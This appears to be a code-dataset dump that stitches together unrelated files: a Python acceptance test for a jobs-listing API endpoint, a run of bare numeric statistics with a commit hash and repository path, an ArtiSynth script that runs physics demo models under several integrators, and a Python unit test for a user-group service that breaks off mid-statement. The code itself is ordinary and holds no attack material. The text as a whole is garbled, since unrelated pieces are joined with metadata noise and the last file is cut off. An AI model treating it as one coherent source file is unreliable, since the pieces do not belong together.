from acceptance.v2beta.jobs_tests_helper_mixin_v2 import JobsTestsHelperMixinV2 from acceptance.api_acceptance_test_case_base import APIAcceptanceTestCaseBase class TestJobsListingEndpointV2(JobsTestsHelperMixinV2, APIAcceptanceTestCaseBase): url = '/api/v2beta/projects/{_project_name}/job_listing' sorting_columns = ['start_time', 'status'] filtering_columns = [ { 'name': 'job_id', 'test_values': ('00000000-0000-0000-0000-000000000000', 'my job 1') }, { 'name': 'status', 'test_values': ('queued', 'running') }, { 'name': 'user', 'test_values': ('beethoven', 'soju hero') }, { 'name': 'duration', 'test_values': ('1_0_0_0', '2_0_0_0') }, { 'name': 'start_time', 'test_values': ('03_03_1973_09_46', '11_29_1973_21_33') } ] running_tags = { 'am_i_running': 'True', 'num_gpus': 20 } completed_tags = { 'am_i_running': 'False', 'num_gpus': 0, 'cool': 'dude' } expected_running_tags = { 'am_i_running': 'True', 'num_gpus': '20' } expected_completed_tags = { 'am_i_running': 'False', 'num_gpus': '0', 'cool': 'dude' } @classmethod def setUpClass(klass): JobsTestsHelperMixinV2.setUpClass() klass._set_project_name(JobsTestsHelperMixinV2._str_random_uuid()) klass._setup_five_jobs() @classmethod def _setup_five_jobs(klass): klass._make_running_job('00000000-0000-0000-0000-000000000000', 'soju hero', start_timestamp=99999999, tags=klass.running_tags) klass._make_completed_job('my job 1', 'beethoven', start_timestamp=100000000, end_timestamp=100086400) klass._make_completed_job('my job 2', 'mozart', start_timestamp=123456780, end_timestamp=123555555, tags=klass.completed_tags) klass._make_queued_job('queued job 0', 'kyle') klass._make_queued_job('queued job 1', 'jinnah') def test_get_route(self): data = super(TestJobsListingEndpointV2, self).test_get_route() self.assertEqual(data['jobs'][0]['job_id'], 'my job 2') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') self.assertEqual(data['jobs'][2]['job_id'], '00000000-0000-0000-0000-000000000000') self.assertEqual(data['jobs'][3]['job_id'], 'queued job 1') self.assertEqual(data['jobs'][4]['job_id'], 'queued job 0') def test_get_tags(self): data = super(TestJobsListingEndpointV2, self).test_get_route() self.assertEqual(data['jobs'][0]['tags'], self.expected_completed_tags) self.assertEqual(data['jobs'][1]['tags'], {}) self.assertEqual(data['jobs'][2]['tags'], self.expected_running_tags) self.assertEqual(data['jobs'][3]['tags'], {}) self.assertEqual(data['jobs'][4]['tags'], {}) def test_duration(self): import re regex = re.compile(r'\d+d\d+h\d+m\d+s') data = super(TestJobsListingEndpointV2, self).test_get_route() self.assertEqual(data['jobs'][0]['job_id'], 'my job 2') self.assertIsNotNone(regex.match(data['jobs'][0]['duration'])) self.assertEqual(data['jobs'][4]['job_id'], 'queued job 0') self.assertIsNone(data['jobs'][4]['duration']) def test_sorted_start_time_descending(self): data = super(TestJobsListingEndpointV2, self).test_sorted_start_time_descending() self.assertEqual(data['jobs'][0]['job_id'], 'queued job 1') self.assertEqual(data['jobs'][1]['job_id'], 'queued job 0') self.assertEqual(data['jobs'][2]['job_id'], 'my job 2') self.assertEqual(data['jobs'][3]['job_id'], 'my job 1') self.assertEqual(data['jobs'][4]['job_id'], '00000000-0000-0000-0000-000000000000') def test_sorted_start_time_ascending(self): data = super(TestJobsListingEndpointV2, self).test_sorted_start_time_ascending() self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') self.assertEqual(data['jobs'][2]['job_id'], 'my job 2') def test_sorted_status_descending(self): data = super(TestJobsListingEndpointV2, self).test_sorted_status_descending() self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000') self.assertEqual(data['jobs'][1]['job_id'], 'queued job 1') self.assertEqual(data['jobs'][2]['job_id'], 'queued job 0') self.assertEqual(data['jobs'][3]['job_id'], 'my job 2') self.assertEqual(data['jobs'][4]['job_id'], 'my job 1') def test_sorted_status_ascending(self): data = super(TestJobsListingEndpointV2, self).test_sorted_status_ascending() self.assertEqual(data['jobs'][0]['job_id'], 'my job 2') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') self.assertEqual(data['jobs'][2]['job_id'], 'queued job 1') self.assertEqual(data['jobs'][3]['job_id'], 'queued job 0') self.assertEqual(data['jobs'][4]['job_id'], '00000000-0000-0000-0000-000000000000') def test_all_ascending(self): data = super(TestJobsListingEndpointV2, self).test_all_ascending() self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') self.assertEqual(data['jobs'][2]['job_id'], 'my job 2') self.assertEqual(data['jobs'][3]['job_id'], 'queued job 0') self.assertEqual(data['jobs'][4]['job_id'], 'queued job 1') def test_all_descending(self): data = super(TestJobsListingEndpointV2, self).test_all_descending() self.assertEqual(data['jobs'][0]['job_id'], 'queued job 1') self.assertEqual(data['jobs'][1]['job_id'], 'queued job 0') self.assertEqual(data['jobs'][2]['job_id'], 'my job 2') self.assertEqual(data['jobs'][3]['job_id'], 'my job 1') self.assertEqual(data['jobs'][4]['job_id'], '00000000-0000-0000-0000-000000000000') def test_alternation(self): data = super(TestJobsListingEndpointV2, self).test_alternation() self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') self.assertEqual(data['jobs'][2]['job_id'], 'my job 2') def test_filter_job_id_range(self): data = super(TestJobsListingEndpointV2, self).test_filter_job_id_range() self.assertEqual(len(data['jobs']), 2) self.assertEqual(data['jobs'][0]['job_id'], 'my job 1') self.assertEqual(data['jobs'][1]['job_id'], '00000000-0000-0000-0000-000000000000') def test_filter_job_id_exact_match_one_option(self): data = super(TestJobsListingEndpointV2, self).test_filter_job_id_exact_match_one_option() self.assertEqual(len(data['jobs']), 1) self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000') def test_filter_job_id_exact_match_two_options(self): data = super(TestJobsListingEndpointV2, self).test_filter_job_id_exact_match_two_options() self.assertEqual(len(data['jobs']), 2) self.assertEqual(data['jobs'][0]['job_id'], 'my job 1') self.assertEqual(data['jobs'][1]['job_id'], '00000000-0000-0000-0000-000000000000') def test_filter_status_range(self): data = super(TestJobsListingEndpointV2, self).test_filter_status_range() self.assertEqual(len(data['jobs']), 3) self.assertEqual(data['jobs'][2]['job_id'], 'queued job 0') def test_filter_status_exact_match_one_option(self): data = super(TestJobsListingEndpointV2, self).test_filter_status_exact_match_one_option() self.assertEqual(len(data['jobs']), 2) def test_filter_status_exact_match_two_options(self): data = super(TestJobsListingEndpointV2, self).test_filter_status_exact_match_two_options() self.assertEqual(len(data['jobs']), 3) self.assertEqual(data['jobs'][2]['job_id'], 'queued job 0') def test_filter_user_range(self): data = super(TestJobsListingEndpointV2, self).test_filter_user_range() self.assertEqual(len(data['jobs']), 5) self.assertEqual(data['jobs'][0]['job_id'], 'my job 2') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') self.assertEqual(data['jobs'][2]['job_id'], '00000000-0000-0000-0000-000000000000') self.assertEqual(data['jobs'][3]['job_id'], 'queued job 1') self.assertEqual(data['jobs'][4]['job_id'], 'queued job 0') def test_filter_user_exact_match_one_option(self): data = super(TestJobsListingEndpointV2, self).test_filter_user_exact_match_one_option() self.assertEqual(len(data['jobs']), 1) self.assertEqual(data['jobs'][0]['job_id'], 'my job 1') def test_filter_user_exact_match_two_options(self): data = super(TestJobsListingEndpointV2, self).test_filter_user_exact_match_two_options() self.assertEqual(len(data['jobs']), 2) self.assertEqual(data['jobs'][0]['job_id'], 'my job 1') self.assertEqual(data['jobs'][1]['job_id'], '00000000-0000-0000-0000-000000000000') def test_filter_job_id_contains(self): custom_test_method = super(TestJobsListingEndpointV2, self)._get_test_route_method('?job_id_contains=1') data = custom_test_method(self) self.assertEqual(len(data['jobs']), 2) self.assertEqual(data['jobs'][0]['job_id'], 'my job 1') def test_filter_user_contains(self): custom_test_method = super(TestJobsListingEndpointV2, self)._get_test_route_method('?user_contains=hero') data = custom_test_method(self) self.assertEqual(len(data['jobs']), 1) self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000') def test_filter_duration_range(self): data = super(TestJobsListingEndpointV2, self).test_filter_duration_range() self.assertEqual(len(data['jobs']), 2) self.assertEqual(data['jobs'][0]['job_id'], 'my job 2') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') def test_filter_duration_exact_match_one_option(self): data = super(TestJobsListingEndpointV2, self).test_filter_duration_exact_match_one_option() self.assertEqual(len(data['jobs']), 1) self.assertEqual(data['jobs'][0]['job_id'], 'my job 1') def test_filter_duration_exact_match_two_options(self): data = super(TestJobsListingEndpointV2, self).test_filter_duration_exact_match_two_options() self.assertEqual(len(data['jobs']), 1) self.assertEqual(data['jobs'][0]['job_id'], 'my job 1') def test_filter_start_time_range(self): data = super(TestJobsListingEndpointV2, self).test_filter_start_time_range() self.assertEqual(len(data['jobs']), 3) self.assertEqual(data['jobs'][0]['job_id'], 'my job 2') self.assertEqual(data['jobs'][1]['job_id'], 'my job 1') self.assertEqual(data['jobs'][2]['job_id'], '00000000-0000-0000-0000-000000000000') def test_filter_start_time_exact_match_one_option(self): data = super(TestJobsListingEndpointV2, self).test_filter_start_time_exact_match_one_option() self.assertEqual(len(data['jobs']), 0) def test_filter_start_time_exact_match_two_options(self): data = super(TestJobsListingEndpointV2, self).test_filter_start_time_exact_match_two_options() self.assertEqual(len(data['jobs']), 1) self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
48.725
135
0.659483
1,512
11,694
4.841931
0.080688
0.095069
0.176479
0.213632
0.846469
0.816692
0.783226
0.76424
0.710422
0.641579
0
0.083325
0.176928
11,694
239
136
48.92887
0.677299
0
0
0.425743
0
0
0.199076
0.056439
0
0
0
0
0.430693
1
0.143564
false
0
0.014851
0
0.19802
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
08af31a86acb9e5227a16d018a3cd3ecb73c230a
15,080
py
Python
src/artisynth/core/mechmodels/mechmodelTest.py
gaetanbahl/carapas
71c9b9355b740b7312da1a579e4bff5175eb100b
[ "Apache-2.0", "BSD-3-Clause" ]
2
2021-01-12T15:42:32.000Z
2021-09-03T10:08:17.000Z
src/artisynth/core/mechmodels/mechmodelTest.py
gaetanbahl/carapas
71c9b9355b740b7312da1a579e4bff5175eb100b
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/artisynth/core/mechmodels/mechmodelTest.py
gaetanbahl/carapas
71c9b9355b740b7312da1a579e4bff5175eb100b
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
# ArtisynthScript: "MechmodelTest" # # For repeatable results, set the environment variable OMP_NUM_THREADS # to 1 # # most recent test was run using: # 1 step of numerical refinement in Pardiso # a time step of 0.01 in RigidBodyCollision def setModelOpts (t, file) : mech = find ("models/0") mech.setPrintState ("%g") addBreakPoint (t) return mech # Adjust certain solver settings to ensure repeatable results: MechSystemSolver.myDefaultHybridSolveP = False MechSystemBase.setDefaultStabilization (PosStabilization.GlobalMass) FemModel3d.noIncompressStiffnessDamping = False SurfaceMeshCollider.useAjlCollision = False PardisoSolver.setDefaultNumThreads (1) #main.maskFocusStealing (True) dataFileName = "mechmodelTest.out" loadModel ("artisynth.demos.mech.SpringMeshDemo") mech = setModelOpts (1, dataFileName) pw = mech.openPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.ForwardEuler) pw.println ("#SpringMesh ForwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#SpringMesh RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#SpringMesh BackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.RigidBodyDemo") mech = setModelOpts (1.5, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.ForwardEuler) pw.println ("#RigidBody ForwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#RigidBody RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#RigidBody BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#RigidBody ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.MechModelDemo") mech = setModelOpts (2.5, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) pw.println ("#MechModel SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#MechModel RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#MechModel BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#MechModel ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.MultiSpringDemo") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#MultiSpringDemo SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#MultiSpringDemo RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#MultiSpringDemo BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#MultiSpringDemo ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.SegmentedPlaneDemo") mech = setModelOpts (2, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#SegmentedPlaneDemo SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#SegmentedPlaneDemo RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#SegmentedPlaneDemo BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#SegmentedPlaneDemo ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.ArticulatedFem") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#ArticulatedFem BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#ArticulatedFem ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.Hex3dBlock") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) fem = mech.findComponent ("models/fem") fem.setIncompressible (FemModel.IncompMethod.AUTO) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#HexBlock BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#HexBlock ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.TetBeam3d") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) fem = mech.findComponent ("models/fem") fem.setIncompressible (FemModel.IncompMethod.AUTO) prop = root().getProperty("excitation0") prop.set (0.5) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#TetBeam3d BackwardEuler"); run() waitForStop() reset() prop.set (0.5) mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#TetBeam3d ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.PlaneConstrainedFem") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) fem = mech.findComponent ("models/fem") fem.setIncompressible (FemModel.IncompMethod.AUTO) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#PlaneConstrainedFem BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#PlaneConstrainedFem ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.AttachedBeamDemo") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) fem = mech.findComponent ("models/beam1") fem.setIncompressible (FemModel.IncompMethod.AUTO) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#AttachedBeamDemo BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#AttachedBeamDemo ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.HexBeam3d") mech = find ("models/0") mech.setPrintState ("%g") fem = find ("models/0/models/0"); pw = mech.reopenPrintStateFile (dataFileName) pw.println ("#NodalIncompTest ConstrainedBackwardEuler") fem.setMaterial (MooneyRivlinMaterial()) addBreakPoint (0.3) addBreakPoint (0.6) addBreakPoint (0.9) run() waitForStop() fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL) run() waitForStop() fem.setMaterial (LinearMaterial()) run() waitForStop() reset() fem.setMaterial (MooneyRivlinMaterial()) fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL) run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#NodalIncompTest BackwardEuler") run() waitForStop() fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL) run() waitForStop() fem.setMaterial (LinearMaterial()) run() waitForStop() reset() fem.setMaterial (MooneyRivlinMaterial()) fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL) run() waitForStop() reset() loadModel ("artisynth.demos.fem.SelfCollision") mech = setModelOpts (0.7, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#SelfCollision BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#SelfCollision ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.FemMuscleDemo") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#FemMuscleDemo BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#FemMuscleDemo ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.ViscousBeam") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#ViscousBeam BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#ViscousBeam ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.ArticulatedBeamBody") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#ArticulatedBeamBody SymplecticEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.AttachedBeamBody") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#AttachedBeamBody ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.BlockTest") mech = setModelOpts (2, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#BlockTest SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#BlockTest RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#BlockTest ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.FrameSpringDemo") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#FrameSpring SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#FrameSpring RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#FrameSpring ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.RigidBodyCollision") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#RigidBodyCollision SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#RigidBodyCollision RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#RigidBodyCollision BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#RigidBodyCollision ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.FemSkinDemo") mech = setModelOpts (0.5, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#FemSkinDemo ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.models.collision.SkinCollisionTest") mech = setModelOpts (2.0, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#SkinCollisionTest ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.mech.SkinDemo") mech = setModelOpts (2.5, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#SkinDemo ConstrainedBackwardEuler"); root().getInputProbes().get(0).setActive(True) run() waitForStop() reset() loadModel ("artisynth.demos.mech.LaymanDemo") mech = setModelOpts (1.5, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#LaymanDemo SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#LaymanDemo RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#LaymanDemo BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#LaymanDemo ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.fem.FemCollision") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler) pw.println ("#FemCollision BackwardEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#FemCollision ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.models.dynjaw.JawLarynxDemo"); mech = setModelOpts (2, dataFileName) # there is an earlier breakpoint at 0.575 pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler) pw.println ("#JawLarynxDemo SymplecticEuler"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4) pw.println ("#JawLarynxDemo RungeKutta"); run() waitForStop() reset() mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal) pw.println ("#JawLarynxDemo Trapezoidal"); run() waitForStop() reset() loadModel ("artisynth.models.inversedemos.TongueInvDemo") mech = setModelOpts (0.1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler) pw.println ("#TongueInvDemo ConstrainedBackwardEuler"); run() waitForStop() reset() loadModel ("artisynth.demos.inverse.PointModel2d") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal) pw.println ("#PointInv2d Trapezoidal"); run() waitForStop() reset() loadModel ("artisynth.demos.inverse.PointModel3d") mech = setModelOpts (1, dataFileName) mech.setMaxStepSize (0.05) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal) pw.println ("#PointInv3d Trapezoidal"); run() waitForStop() reset() loadModel ("artisynth.demos.inverse.HydrostatInvDemo") mech = setModelOpts (1, dataFileName) pw = mech.reopenPrintStateFile (dataFileName) mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal) pw.println ("#HydrostatInvDemo Trapezoidal"); run() waitForStop() reset() #main.maskFocusStealing (False) quit()
29.685039
79
0.807626
1,376
15,080
8.849564
0.114826
0.081629
0.104541
0.222469
0.805371
0.805371
0.793463
0.751417
0.61649
0.60951
0
0.006418
0.070159
15,080
507
80
29.74359
0.862003
0.025597
0
0.7473
0
0
0.21466
0.106615
0
0
0
0
0
1
0.00216
false
0
0
0
0.00432
0.140389
0
0
0
null
0
0
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
08cf4b0390f08a24bf77c5b70f686801773a6f0c
44,781
py
Python
app/test/unittest/test_user_group.py
michalkoziara/IoT-RESTful-Webservice
ecb0f3e09cded3190f3646e5cd6c913056d94981
[ "bzip2-1.0.6" ]
2
2021-09-24T02:45:32.000Z
2021-11-15T09:44:44.000Z
app/test/unittest/test_user_group.py
PKramek/IoT-RESTful-Webservice-1
ecb0f3e09cded3190f3646e5cd6c913056d94981
[ "bzip2-1.0.6" ]
null
null
null
app/test/unittest/test_user_group.py
PKramek/IoT-RESTful-Webservice-1
ecb0f3e09cded3190f3646e5cd6c913056d94981
[ "bzip2-1.0.6" ]
1
2021-09-11T11:47:32.000Z
2021-09-11T11:47:32.000Z
from unittest.mock import Mock from unittest.mock import patch import pytest from app.main.repository.admin_repository import AdminRepository from app.main.repository.device_group_repository import DeviceGroupRepository from app.main.repository.executive_device_repository import ExecutiveDeviceRepository from app.main.repository.formula_repository import FormulaRepository from app.main.repository.sensor_repository import SensorRepository from app.main.repository.user_group_repository import UserGroupRepository from app.main.repository.user_repository import UserRepository from app.main.service.executive_device_service import ExecutiveDeviceService from app.main.service.sensor_service import SensorService from app.main.service.user_group_service import UserGroupService from app.main.util.constants import Constants def test_get_list_of_user_groups_should_return_list_of_user_groups_names_when_valid_request( create_device_group, create_user, get_user_group_default_values, create_user_group, ): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user = create_user() first_user_group_values = get_user_group_default_values() second_user_group_values = get_user_group_default_values() third_user_group_values = get_user_group_default_values() first_user_group_values['name'] = 'first' second_user_group_values['name'] = 'second' third_user_group_values['name'] = 'third' first_user_group = create_user_group(first_user_group_values) second_user_group = create_user_group(second_user_group_values) third_user_group = create_user_group(third_user_group_values) device_group.user_groups = [first_user_group, second_user_group, third_user_group] first_user_group.users = [user] expected_output_values = [ {'isAssignedTo': True, 'name': 'first'}, {'isAssignedTo': False, 'name': 'second'}, {'isAssignedTo': False, 'name': 'third'}, ] with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user with patch.object(UserGroupRepository, 'get_user_groups_by_device_group_id' ) as get_user_groups_by_device_group_id_mock: get_user_groups_by_device_group_id_mock.return_value = [first_user_group, second_user_group, third_user_group] with patch.object(DeviceGroupRepository, 'get_device_group_by_user_id_and_product_key' ) as get_device_group_by_user_id_and_product_key_mock: get_device_group_by_user_id_and_product_key_mock.return_value = device_group result, result_values = user_group_service.get_list_of_user_groups( device_group.product_key, user.id, False ) assert result == Constants.RESPONSE_MESSAGE_OK assert result_values['userGroups'] == expected_output_values def test_get_list_of_user_groups_should_return_list_of_user_groups_names_when_valid_request_and_user_is_admin( create_device_group, create_admin, get_user_group_default_values, create_user_group, ): user_group_service = UserGroupService.get_instance() device_group = create_device_group() admin = create_admin() first_user_group_values = get_user_group_default_values() second_user_group_values = get_user_group_default_values() third_user_group_values = get_user_group_default_values() first_user_group_values['name'] = 'first' second_user_group_values['name'] = 'second' third_user_group_values['name'] = 'third' first_user_group = create_user_group(first_user_group_values) second_user_group = create_user_group(second_user_group_values) third_user_group = create_user_group(third_user_group_values) device_group.user_groups = [first_user_group, second_user_group, third_user_group] expected_output_values = [ {'isAssignedTo': False, 'name': 'first'}, {'isAssignedTo': False, 'name': 'second'}, {'isAssignedTo': False, 'name': 'third'}, ] with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(AdminRepository, 'get_admin_by_id') as get_admin_by_id_mock: get_admin_by_id_mock.return_value = admin with patch.object(UserGroupRepository, 